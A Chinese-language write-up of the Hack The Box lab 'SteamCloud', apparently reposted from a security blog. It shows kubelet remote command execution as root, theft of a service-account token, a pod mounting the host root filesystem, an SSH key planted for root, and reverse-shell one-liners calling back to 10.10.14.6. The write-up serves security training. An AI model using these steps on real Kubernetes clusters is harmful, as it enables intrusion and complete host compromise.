HTB-SteamCloud（Easy）

admin
admin
admin
102776
文章
87
评论
2023年12月21日14:04:40评论19 views字数 22153阅读73分50秒阅读模式

知识点：Kubernetes(K8s)


HTB-SteamCloud（Easy）

Scan

发现七个开放的 TCP 端口、SSH (22)、Kubernetes（2379、2380 和 8443）和 InfluxDB（10249、10250 和 10256）

┌──(kali㉿kali)-[~/Desktop/htb/SteamCloud]└─$ sudo nmap -p- --min-rate  10000 10.129.96.167Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-23 11:18 ESTWarning: 10.129.96.167 giving up on port because retransmission cap hit (10).Nmap scan report for 10.129.96.167Host is up (0.80s latency).Not shown: 62981 closed tcp ports (reset), 2547 filtered tcp ports (no-response)PORT      STATE SERVICE22/tcp    open  ssh2379/tcp  open  etcd-client2380/tcp  open  etcd-server8443/tcp  open  https-alt10249/tcp open  unknown10250/tcp open  unknown10256/tcp open  unknown
Nmap done: 1 IP address (1 host up) scanned in 54.07 seconds                                                                                                                                                                                        ┌──(kali㉿kali)-[~/Desktop/htb/SteamCloud]└─$ nmap -p 22,2379,2380,8443,10249,10250,10256 -sCV 10.129.96.167Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-23 11:20 ESTNmap scan report for 10.129.96.167Host is up (1.2s latency).
PORT      STATE SERVICE          VERSION22/tcp    open  ssh              OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)| ssh-hostkey: |   2048 fc:fb:90:ee:7c:73:a1:d4:bf:87:f8:71:e8:44:c6:3c (RSA)|   256 46:83:2b:1b:01:db:71:64:6a:3e:27:cb:53:6f:81:a1 (ECDSA)|_  256 1d:8d:d3:41:f3:ff:a4:37:e8:ac:78:08:89:c2:e3:c5 (ED25519)2379/tcp  open  ssl/etcd-client?| ssl-cert: Subject: commonName=steamcloud| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.96.167, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1| Not valid before: 2023-11-23T07:57:45|_Not valid after:  2024-11-22T07:57:45| tls-alpn: |_  h22380/tcp  open  ssl/etcd-server?|_ssl-date: TLS randomness does not represent time| tls-alpn: |_  h2| ssl-cert: Subject: commonName=steamcloud| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.96.167, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1| Not valid before: 2023-11-23T07:57:45|_Not valid after:  2024-11-22T07:57:458443/tcp  open  ssl/https-alt| ssl-cert: Subject: commonName=minikube/organizationName=system:masters| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.129.96.167, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1| Not valid before: 2023-11-22T07:57:42|_Not valid after:  2026-11-22T07:57:42| tls-alpn: |_  h2|_http-title: Site doesn't have a title (application/json).|_ssl-date: TLS randomness does not represent time| fingerprint-strings: |   GetRequest: |     HTTP/1.0 403 Forbidden|     Audit-Id: 7980d5b5-8a64-4830-8e26-0cbe6fe6c45b|     Cache-Control: no-cache, private|     Content-Type: application/json|     X-Content-Type-Options: nosniff|     X-Kubernetes-Pf-Flowschema-Uid: 0b2ea974-82b0-4726-88cf-310e30ec45ac|     X-Kubernetes-Pf-Prioritylevel-Uid: 699ee0aa-4cfe-48e8-a30e-e65b13fc01e1|     Date: Thu, 23 Nov 2023 16:20:32 GMT|     Content-Length: 185|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}10249/tcp open  http             Golang net/http server (Go-IPFS json-rpc or InfluxDB API)|_http-title: Site doesn't have a title (text/plain; charset=utf-8).10250/tcp open  ssl/http         Golang net/http server (Go-IPFS json-rpc or InfluxDB API)|_http-title: Site doesn't have a title (text/plain; charset=utf-8).| tls-alpn: |_  h2| ssl-cert: Subject: commonName=steamcloud@1700726269| Subject Alternative Name: DNS:steamcloud| Not valid before: 2023-11-23T06:57:48|_Not valid after:  2024-11-22T06:57:48|_ssl-date: TLS randomness does not represent time10256/tcp open  http             Golang net/http server (Go-IPFS json-rpc or InfluxDB API)|_http-title: Site doesn't have a title (text/plain; charset=utf-8).1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :SF-Port8443-TCP:V=7.94%T=SSL%I=7%D=11/23%Time=655F7BE2%P=x86_64-pc-linux-gSF:nu%r(GetRequest,22F,"HTTP/1.0x20403x20ForbiddenrnAudit-Id:x207980SF:d5b5-8a64-4830-8e26-0cbe6fe6c45brnCache-Control:x20no-cache,x20privSF:aternContent-Type:x20application/jsonrnX-Content-Type-Options:x20SF:nosniffrnX-Kubernetes-Pf-Flowschema-Uid:x200b2ea974-82b0-4726-88cf-3SF:10e30ec45acrnX-Kubernetes-Pf-Prioritylevel-Uid:x20699ee0aa-4cfe-48e8SF:-a30e-e65b13fc01e1rnDate:x20Thu,x2023x20Novx202023x2016:20:32x2SF:0GMTrnContent-Length:x20185rnrn{"kind":"Status","apiVersionSF:":"v1","metadata":{},"status":"Failure","message":"forbiddeSF:n:x20Userx20\"system:anonymous\"x20cannotx20getx20pathx20\"SF:/\"","reason":"Forbidden","details":{},"code":403}n");Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 178.04 seconds



Enum

Kubernetes API - TCP 8443

HTB-SteamCloud（Easy）通常，这些不会全部位于同一主机上，但在像 HTB 这样的环境中，结果就是这样。

所以我们在 TCP 8443 上看到的是集群的主要 API 服务器。kubelet 是在控制它的每个节点上运行的代理，通常侦听 TCP 10250。


在 Firefox 中访问该服务会返回带有 JSON 正文的 HTTP 403：

HTB-SteamCloud（Easy）尝试使用kubeletctl命令，用该pods命令列出节点上的所有 pod。

安装教程：

curl -LO https://github.com/cyberark/kubeletctl/releases/download/v1.7/kubeletctl_linux_amd64chmod a+x ./kubeletctl_linux_amd64mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctl
┌──(kali㉿kali)-[~/Desktop/htb/SteamCloud]└─$ kubeletctl --server 10.129.96.167 pods┌────────────────────────────────────────────────────────────────────────────────┐│                                Pods from Kubelet                               │├───┬────────────────────────────────────┬─────────────┬─────────────────────────┤│   │ POD                                │ NAMESPACE   │ CONTAINERS              │├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤│ 1 │ etcd-steamcloud                    │ kube-system │ etcd                    ││   │                                    │             │                         │├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤│ 2 │ kube-apiserver-steamcloud          │ kube-system │ kube-apiserver          ││   │                                    │             │                         │├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤│ 3 │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager ││   │                                    │             │                         │├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤│ 4 │ storage-provisioner                │ kube-system │ storage-provisioner     ││   │                                    │             │                         │├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤│ 5 │ kube-proxy-4ns7s                   │ kube-system │ kube-proxy              ││   │                                    │             │                         │├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤│ 6 │ coredns-78fcd69978-mtc5v           │ kube-system │ coredns                 ││   │                                    │             │                         │├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤│ 7 │ nginx                              │ default     │ nginx                   ││   │                                    │             │                         │├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤│ 8 │ kube-scheduler-steamcloud          │ kube-system │ kube-scheduler          ││   │                                    │             │                         │└───┴────────────────────────────────────┴─────────────┴─────────────────────────┘


runningpods命令给出了一堆有关正在运行的 pod 的 JSON：

┌──(kali㉿kali)-[~/Desktop/htb/SteamCloud]└─$ kubeletctl runningpods -s 10.129.96.167{  "kind": "PodList",  "apiVersion": "v1",  "metadata": {},  "items": [    {      "metadata": {        "name": "kube-apiserver-steamcloud",        "namespace": "kube-system",        "uid": "2bfd7f4ac51b1eddd80bb420dd6ebbbb",        "creationTimestamp": null      },      "spec": {        "containers": [          {            "name": "kube-apiserver",            "image": "sha256:53224b502ea4de7925ca5ed3d8a43dd4b500b2e8e4872bf9daea1fc3fec05edc",            "resources": {}          }        ]      },      "status": {}    },     {      "metadata": {        "name": "etcd-steamcloud",        "namespace": "kube-system",        "uid": "5870e2332e3bcab1e201faef89689a63",        "creationTimestamp": null      },      "spec": {        "containers": [          {            "name": "etcd",            "image": "sha256:0048118155842e4c91f0498dd298b8e93dc3aecc7052d9882b76f48e311a76ba",            "resources": {}          }        ]      },      "status": {}    },     {      "metadata": {        "name": "kube-scheduler-steamcloud",        "namespace": "kube-system",        "uid": "3232b72c69e9f8bf518a7d727d878b27",        "creationTimestamp": null      },      "spec": {        "containers": [          {            "name": "kube-scheduler",            "image": "sha256:0aa9c7e31d307d1012fb9e63c274f1110868709a2c39f770dd82120cd2b8fe0f",            "resources": {}          }        ]      },      "status": {}    },     {      "metadata": {        "name": "nginx",        "namespace": "default",        "uid": "b5a34acf-bf80-45d6-be0a-72dc917beb91",        "creationTimestamp": null      },      "spec": {        "containers": [          {            "name": "nginx",            "image": "sha256:295c7be079025306c4f1d65997fcf7adb411c88f139ad1d34b537164aa060369",            "resources": {}          }        ]      },      "status": {}    },     {      "metadata": {        "name": "coredns-78fcd69978-qhwv4",        "namespace": "kube-system",        "uid": "886ca11a-9e5d-46c6-ac52-bcc14313f5af",        "creationTimestamp": null      },      "spec": {        "containers": [          {            "name": "coredns",            "image": "sha256:8d147537fb7d1ac8895da4d55a5e53621949981e2e6460976dae812f83d84a44",            "resources": {}          }        ]      },      "status": {}    },     {      "metadata": {        "name": "kube-proxy-zhstq",        "namespace": "kube-system",        "uid": "be178a7d-e981-4e78-954f-f4653e5f4faf",        "creationTimestamp": null      },      "spec": {        "containers": [          {            "name": "kube-proxy",            "image": "sha256:6120bd723dcedd08f7545da1a8458ad4f23fbd1e94cb578519122f920a77b737",            "resources": {}          }        ]      },      "status": {}    },     {      "metadata": {        "name": "storage-provisioner",        "namespace": "kube-system",        "uid": "8e00d770-52ff-412b-9f4f-8aec502b1002",        "creationTimestamp": null      },      "spec": {        "containers": [          {            "name": "storage-provisioner",            "image": "sha256:6e38f40d628db3002f5617342c8872c935de530d867d0f709a2fbda1a302a562",            "resources": {}          }        ]      },      "status": {}    },     {      "metadata": {        "name": "kube-controller-manager-steamcloud",        "namespace": "kube-system",        "uid": "be2478237d1af444b624cb01f51f79c4",        "creationTimestamp": null      },      "spec": {        "containers": [          {            "name": "kube-controller-manager",            "image": "sha256:05c905cef780c060cdaad6bdb2be2d71a03c0b9cb8b7cc10c2f68a6d36abd30d",            "resources": {}          }        ]      },      "status": {}    }  ]}

HTB-SteamCloud（Easy）

在 nginx 中以 root 身份执行 shell

通过访问 kubelet 服务，还可以在容器上运行命令。

使用scan rce参数确定我们是否可以在任何pod上运行命令 

┌──(kali㉿kali)-[~/Desktop/htb/SteamCloud]└─$ kubeletctl --server 10.129.96.167 scan rce┌──────────────────────────────────────────────────────────────────────────────────────────────────────┐│                                   Node with pods vulnerable to RCE                                   │├───┬───────────────┬────────────────────────────────────┬─────────────┬─────────────────────────┬─────┤│   │ NODE IP       │ PODS                               │ NAMESPACE   │ CONTAINERS              │ RCE │├───┼───────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤│   │               │                                    │             │                         │ RUN │├───┼───────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤│ 1 │ 10.129.96.167 │ storage-provisioner                │ kube-system │ storage-provisioner     │ -   │├───┼───────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤│ 2 │               │ kube-proxy-4ns7s                   │ kube-system │ kube-proxy              │ -   │├───┼───────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤│ 3 │               │ coredns-78fcd69978-mtc5v           │ kube-system │ coredns                 │ -   │├───┼───────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤│ 4 │               │ nginx                              │ default     │ nginx                   │ +   │├───┼───────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤│ 5 │               │ kube-scheduler-steamcloud          │ kube-system │ kube-scheduler          │ -   │├───┼───────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤│ 6 │               │ etcd-steamcloud                    │ kube-system │ etcd                    │ -   │├───┼───────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤│ 7 │               │ kube-apiserver-steamcloud          │ kube-system │ kube-apiserver          │ -   │├───┼───────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤│ 8 │               │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │ -   │└───┴───────────────┴────────────────────────────────────┴─────────────┴─────────────────────────┴─────┘


使用kubeletctl中的exec命令，给出 pod 的名称 (nginx) 和容器的名称 (nginx)：

┌──(kali㉿kali)-[~/Desktop/htb/SteamCloud]└─$ kubeletctl -s 10.129.96.167 exec "id" -p nginx -c nginxuid=0(root) gid=0(root) groups=0(root)                                                                                                                                                                                        ┌──(kali㉿kali)-[~/Desktop/htb/SteamCloud]└─$ kubeletctl -s 10.129.96.167 exec "ls /root" -p nginx -c nginxuser.txt                                                                                                                                                                                        ┌──(kali㉿kali)-[~/Desktop/htb/SteamCloud]└─$ kubeletctl -s 10.129.96.167 exec "cat /root/user.txt" -p nginx -c nginx69399fc5465eed9db51a2d8211ffc859

HTB-SteamCloud（Easy）

反弹shell

接下来我尝试了反弹shell，但是都失败了

kubeletctl -s 10.129.96.167 exec "which bash" -p nginx -c nginxkubeletctl -s 10.129.96.167 exec "bash -c 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1'" -p nginx -c nginxkubeletctl -s 10.129.96.167 exec 'bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1"' -p nginx -c nginx
#尝试编码 无果echo "bash -i >& /dev/tcp/10.129.96.167/443 0>&1" | base64 -w0kubeletctl -s 10.129.96.167 exec 'echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42LzQ0MyAwPiYxCg==" | base64 -d | bash' -p nginx -c nginx
#尝试curl和wget 无果kubeletctl -s 10.129.96.167 exec "curl 10.10.14.6" -p nginx -c nginxkubeletctl -s 10.129.96.167 exec "wget 10.10.14.6" -p nginx -c nginx#nc python python3都没有

但是经过测试其实直接/bin/bash即可

HTB-SteamCloud（Easy）

ROOT

翻阅hacktricks：https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/enumeration-from-a-pod发现ServiceAccount 对象的位置，该对象由 Kubernets 管理并在 pod 内提供身份。它给出了三个典型的目录：

/run/secrets/kubernetes.io/serviceaccount

/var/run/secrets/kubernetes.io/serviceaccount

/secrets/kubernetes.io/serviceaccout

本靶场是在第一个

root@nginx:~# ls /run/secrets/kubernetes.io/serviceaccountls /run/secrets/kubernetes.io/serviceaccountca.crt  namespace  tokenroot@nginx:~# cat /run/secrets/kubernetes.io/serviceaccount/ca.crtcat /run/secrets/kubernetes.io/serviceaccount/ca.crt-----BEGIN CERTIFICATE-----MIIDBjCCAe6gAwIBAgIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5pa3ViZUNBMB4XDTIxMTEyOTEyMTY1NVoXDTMxMTEyODEyMTY1NVowFTETMBEGA1UEAxMKbWluaWt1YmVDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOoaYRSqoSUfHaMBK44xXLLuFXNELhJrC/9O0R2Gpt8DuBNIW5ve+mgNxbOLTofhgQ0MHLPTTxnfZ5VaavDH2GHiFrtfUWD/g7HA8aXn7cOCNxdf1k7M0X0QjPRB3Ug2cID7deqATtnjZaXTk0VUyUp5Tq3vmwhVkPXDtROc7QaTR/AUeR1oxO9+mPo3ry6S2xqGVeeRhpK6Ma3FpJB3oN0Kz5e6areAOpBP5cVFd68/Np3aecCLrxf2Qdz/d9BpisllhnRBjBwFDdzQVeIJRKhSAhczDbKP64bNi2K1ZU95k5YkodSgXyZmmkfgYORyg99o1pRrbLrfNk6DE5S9VSUCAwEAAaNhMF8wDgYDVR0PAQH/BAQDAgKkMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBSpRKCEKbVtRsYEGRwyaVeonBdMCjANBgkqhkiG9w0BAQsFAAOCAQEA0jqg5pUmlt1jIeLkYT1E6C5xykW0X8mOWzmok17rSMA2GYISqdbRcw72aocvdGJ2Z78X/HyODGSCkKaFqJ9+tvt1tRCZZS3hiI+sp4Tru5FttsGy1bV5sa+w/+2mJJzTjBElMJ/+9mGEdIpuHqZ15HHYeZ83SQWcj0H0lZGpSriHbfxAIlgRvtYBfnciP6Wgcy+YuU/DxpCJgRAw0IUgK74EdYNZAkrWuSOA0Ua8KiKuhklyZv38Jib3FvAo4JrBXlSjW/R0JWSyodQkEF60Xh7yd2lRFhtyE8J+h1HeTz4FpDJ7MuvfXfoXxSDQOYNQu09iFiMzkf2eZIBNMp0TFg==-----END CERTIFICATE-----root@nginx:~# cat /run/secrets/kubernetes.io/serviceaccount/tokencat /run/secrets/kubernetes.io/serviceaccount/tokeneyJhbGciOiJSUzI1NiIsImtpZCI6InJONG9uZGZ3dHdGenpPMVRWUlA2LVdXT09md3pUUS1TYUMtX0xKMUtXT28ifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzMyMzYzODE3LCJpYXQiOjE3MDA4Mjc4MTcsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6ImI1YTM0YWNmLWJmODAtNDVkNi1iZTBhLTcyZGM5MTdiZWI5MSJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6Ijg3ZmRmZjE0LTRhOTUtNDdjZC1iNjU4LTY2MTc4MjUwMmZmYSJ9LCJ3YXJuYWZ0ZXIiOjE3MDA4MzE0MjR9LCJuYmYiOjE3MDA4Mjc4MTcsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.rR1nEHtF4gOzS_XbjBJu8MAOX4jN6XMxQ0eM73JQUCDOsCKDITU0whN0AG04-joc9lOkF3IggoHDU8zcOtRuu28s5R7UmzSCbGZVKnAeXoP2lKycGnkV7q4wJUbfP9D7IjxBlroZOaNUcGjUrbv-Xwn7K5PC7e95fSbIkD7b-09IQ4aTa9ndojY1EeykT9QwTjakeSiqNWguXhGFG7JFnyXh4wumLAkh2SpXGEWQEF1YbkIYVuqFBDS8zTKtZpmNLNgCiODgEQ7Fr8HNdt691IPb8ws7bhU9MxD4g3i59OoRAkQiY-bc31EAId5jEiDEUwh9593F8tJwQFomJSKJ-groot@nginx:~#

ca.crt：这是检查 kubernetes 通信的 ca 证书

namespace : 表示当前的命名空间

token：包含当前 Pod 的服务令牌。

HTB-SteamCloud（Easy）通过ca.crt和token，我可以对集群进行身份验证。


向 Kubernetes API 进行身份验证

保存token在环境变量中token（这样节省复制和粘贴操作

export token=$(kubeletctl -s 10.129.96.167 exec "cat /run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx)

使用kubectl，传递ca.crt文件和token即可免密验证，get pod返回有关正在运行的 pod 的信息

┌──(kali㉿kali)-[~/Desktop/htb/SteamCloud]└─$ kubectl --server https://10.129.96.167:8443 --certificate-authority=ca.crt --token=$token get podNAME    READY   STATUS    RESTARTS   AGEnginx   1/1     Running   0          59m

当前帐户无法执行一些类似于管理的操作，例如获取有关命名空间或集群的信息：

                                                                                                                                                                                        ┌──(kali㉿kali)-[~/Desktop/htb/SteamCloud]└─$ kubectl --server https://10.129.96.167:8443 --certificate-authority=ca.crt --token=$token get namespacesError from server (Forbidden): namespaces is forbidden: User "system:serviceaccount:default:default" cannot list resource "namespaces" in API group "" at the cluster scope                                                                                                                                                                                        ┌──(kali㉿kali)-[~/Desktop/htb/SteamCloud]└─$ kubectl --server https://10.129.96.167:8443 --certificate-authority=ca.crt --token=$token cluster-info  
To further debug and diagnose cluster problems, use 'kubectl cluster-info dump'.Error from server (Forbidden): services is forbidden: User "system:serviceaccount:default:default" cannot list resource "services" in API group "" in the namespace "kube-system"

auth can-i 命令用于kubectl查看给定帐户是否可以执行某些操作。使用--list，它将显示所有权限：

┌──(root㉿kali)-[/home/kali/Desktop/htb/SteamCloud]└─# kubectl auth can-i --list --server https://10.129.96.167:8443 --certificate-authority=ca.crt --token=$token        Resources                                       Non-Resource URLs                     Resource Names   Verbsselfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]pods                                            []                                    []               [get create list]                                                [/.well-known/openid-configuration]   []               [get]                                                [/api/*]                              []               [get]                                                [/api]                                []               [get]                                                [/apis/*]                             []               [get]                                                [/apis]                               []               [get]                                                [/healthz]                            []               [get]                                                [/healthz]                            []               [get]                                                [/livez]                              []               [get]                                                [/livez]                              []               [get]                                                [/openapi/*]                          []               [get]                                                [/openapi]                            []               [get]                                                [/openid/v1/jwks]                     []               [get]                                                [/readyz]                             []               [get]                                                [/readyz]                             []               [get]                                                [/version/]                           []               [get]                                                [/version/]                           []               [get]                                                [/version]                            []               [get]                                                [/version]                            []               [get]

HTB-SteamCloud（Easy）发现第三行帐户可以get、create、 和list一个pod。


获取nginx 容器信息

获取当前容器的详细信息nginx：

┌──(kali㉿kali)-[~/Desktop/htb/SteamCloud]└─$ kubectl get pod nginx -o yaml --server https://10.129.96.167:8443 --certificate-authority=ca.crt --token=$tokenapiVersion: v1kind: Podmetadata:  annotations:    kubectl.kubernetes.io/last-applied-configuration: |      {"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{},"name":"nginx","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","imagePullPolicy":"Never","name":"nginx","volumeMounts":[{"mountPath":"/root","name":"flag"}]}],"volumes":[{"hostPath":{"path":"/opt/flag"},"name":"flag"}]}}  creationTimestamp: "2023-11-24T11:22:02Z"  managedFields:  - apiVersion: v1    fieldsType: FieldsV1    fieldsV1:      f:metadata:        f:annotations:          .: {}          f:kubectl.kubernetes.io/last-applied-configuration: {}      f:spec:        f:containers:          k:{"name":"nginx"}:            .: {}            f:image: {}            f:imagePullPolicy: {}            f:name: {}            f:resources: {}            f:terminationMessagePath: {}            f:terminationMessagePolicy: {}            f:volumeMounts:              .: {}              k:{"mountPath":"/root"}:                .: {}                f:mountPath: {}                f:name: {}        f:dnsPolicy: {}        f:enableServiceLinks: {}        f:restartPolicy: {}        f:schedulerName: {}        f:securityContext: {}        f:terminationGracePeriodSeconds: {}        f:volumes:          .: {}          k:{"name":"flag"}:            .: {}            f:hostPath:              .: {}              f:path: {}              f:type: {}            f:name: {}    manager: kubectl-client-side-apply    operation: Update    time: "2023-11-24T11:22:02Z"  - apiVersion: v1    fieldsType: FieldsV1    fieldsV1:      f:status:        f:conditions:          k:{"type":"ContainersReady"}:            .: {}            f:lastProbeTime: {}            f:lastTransitionTime: {}            f:status: {}            f:type: {}          k:{"type":"Initialized"}:            .: {}            f:lastProbeTime: {}            f:lastTransitionTime: {}            f:status: {}            f:type: {}          k:{"type":"Ready"}:            .: {}            f:lastProbeTime: {}            f:lastTransitionTime: {}            f:status: {}            f:type: {}        f:containerStatuses: {}        f:hostIP: {}        f:phase: {}        f:podIP: {}        f:podIPs:          .: {}          k:{"ip":"172.17.0.3"}:            .: {}            f:ip: {}        f:startTime: {}    manager: kubelet    operation: Update    subresource: status    time: "2023-11-24T11:22:04Z"  name: nginx  namespace: default  resourceVersion: "509"  uid: b5a34acf-bf80-45d6-be0a-72dc917beb91spec:  containers:  - image: nginx:1.14.2    imagePullPolicy: Never    name: nginx    resources: {}    terminationMessagePath: /dev/termination-log    terminationMessagePolicy: File    volumeMounts:    - mountPath: /root      name: flag    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount      name: kube-api-access-cjdhq      readOnly: true  dnsPolicy: ClusterFirst  enableServiceLinks: true  nodeName: steamcloud  preemptionPolicy: PreemptLowerPriority  priority: 0  restartPolicy: Always  schedulerName: default-scheduler  securityContext: {}  serviceAccount: default  serviceAccountName: default  terminationGracePeriodSeconds: 30  tolerations:  - effect: NoExecute    key: node.kubernetes.io/not-ready    operator: Exists    tolerationSeconds: 300  - effect: NoExecute    key: node.kubernetes.io/unreachable    operator: Exists    tolerationSeconds: 300  volumes:  - hostPath:      path: /opt/flag      type: ""    name: flag  - name: kube-api-access-cjdhq    projected:      defaultMode: 420      sources:      - serviceAccountToken:          expirationSeconds: 3607          path: token      - configMap:          items:          - key: ca.crt            path: ca.crt          name: kube-root-ca.crt      - downwardAPI:          items:          - fieldRef:              apiVersion: v1              fieldPath: metadata.namespace            path: namespacestatus:  conditions:  - lastProbeTime: null    lastTransitionTime: "2023-11-24T11:22:02Z"    status: "True"    type: Initialized  - lastProbeTime: null    lastTransitionTime: "2023-11-24T11:22:04Z"    status: "True"    type: Ready  - lastProbeTime: null    lastTransitionTime: "2023-11-24T11:22:04Z"    status: "True"    type: ContainersReady  - lastProbeTime: null    lastTransitionTime: "2023-11-24T11:22:02Z"    status: "True"    type: PodScheduled  containerStatuses:  - containerID: docker://85968dd70e8a3b8188cf850d45b2f03ecf4fd3cde36825a7edbb59de2d54a667    image: nginx:1.14.2    imageID: docker-pullable://nginx@sha256:f7988fb6c02e0ce69257d9bd9cf37ae20a60f1df7563c3a2a6abe24160306b8d    lastState: {}    name: nginx    ready: true    restartCount: 0    started: true    state:      running:        startedAt: "2023-11-24T11:22:03Z"  hostIP: 10.129.96.167  phase: Running  podIP: 172.17.0.3  podIPs:  - ip: 172.17.0.3  qosClass: BestEffort  startTime: "2023-11-24T11:22:02Z"

这里有大量信息，我们只需要两个关键部分：

namespace是default

image是nginx:1.14.2

HTB-SteamCloud（Easy）


以 root 身份进入 shell

这里的技巧是创建一个将根文件系统映射到其中的 pod（容器）。然后我可以在 pod 中执行，并访问映射的卷，这是主机的完整文件系统。

apiVersion: v1kind: Podmetadata:  name: nginxt              # Pod 的名称  namespace: default        # Pod 所属的命名空间，默认是 "default"spec:  containers:  - name: nginxt            # 容器的名称    image: nginx:1.14.2     # 使用的容器镜像及其版本    volumeMounts:    - mountPath: /root       # 将主机上的 / 目录挂载到容器的 /root 目录下      name: mount-root-into-mnt  # 使用名为 mount-root-into-mnt 的卷  volumes:  - name: mount-root-into-mnt   # 定义名为 mount-root-into-mnt 的卷    hostPath:      path: /                    # mount-root-into-mnt 卷使用主机的根目录作为路径  automountServiceAccountToken: true  # 启用自动挂载 Service Account Token  hostNetwork: true            # 使用主机的网络命名空间

kubectl apply启动 pod：

┌──(kali㉿kali)-[~/Desktop/htb/SteamCloud]└─$ kubectl apply -f geqian.yaml --server https://10.129.96.167:8443 --certificate-authority=ca.crt --token=$token --request-timeout=100spod/nginxt created                                                                                                                                                                                        ┌──(kali㉿kali)-[~/Desktop/htb/SteamCloud]└─$ kubectl get pod --server https://10.129.96.167:8443 --certificate-authority=ca.crt --token=$token                                      NAME     READY   STATUS    RESTARTS   AGEnginx    1/1     Running   0          109mnginxt   1/1     Running   0          21s

从 Kubelet 中也可以看到：

HTB-SteamCloud（Easy）接下来命令执行就和上面的nginx一样了

kubeletctl exec "/bin/bash" -s 10.129.96.167 -p nginxt -c nginxt

HTB-SteamCloud（Easy）

后记

上述靶机是打完了，这里想尝试一下逃逸，在尝试过程中，发现kubeletctl执行exec会把 >和/等符号当作cat的参数，|也一样。

kubeletctl exec "cat /etc/issue | tee /tmp/a" -s 10.129.96.167 -p nginxt -c nginxt

HTB-SteamCloud（Easy）

所以这里得用上面/bin/bash的shell来写ssh

HTB-SteamCloud（Easy）先在攻击机ssh-keygen后把生成的公钥echo上到/root/root/.ssh/authorized_keys

root@steamcloud:~/root/.ssh# echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCYgDBcrJxAmUWn0yLNKlUP5NThHON4/8VFTz7EctHbivI6DhUsZCSuzo5R6DqzmSrtPMidehVAsK5+nzveZJf20GlYrT7b0DUIlzXZ+7NpTNTatgU/orhd1SachuptIXMgCWZNoQrCK7YP+vZCYToAVwjevp1sYUmQjzsC/bdEj9Lk4IbkVXxenOtwvkW4qkJ6qdOlcz/mfxoSWEwggAvkfz2onSyPvbaa5uDY9g9eC61odWH/u3yxnZVQDUfUZP7vQ8r/oFOBhTV5fn82dS4V18aIv2yiyzcdFoV5DKONB5FOS5tK/YjBbXXyMgRrdSMk7vBPYXddT9t9KO2rvXcH3VyxObvJaFJq1LIomy6U2KsNm1+YE7oUPZc3WsiuX7y1eVPwz89M1QEz/ICzmGRHjxQOJnL/LVlSpBC2EF0LvkbwG+6NIGp4UMbUXocwvrZqLgeovMTR1Yj2j2PeCiBi4H5g29pjkbXMpg9v9r+hat11mt9RrxBFlxwy6AzjB5k= root@kali">authorized_keys
ssh -i ./id_rsa root@10.129.96.167

HTB-SteamCloud（Easy）

原文始发于微信公众号（搁浅安全）：HTB-SteamCloud（Easy）

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
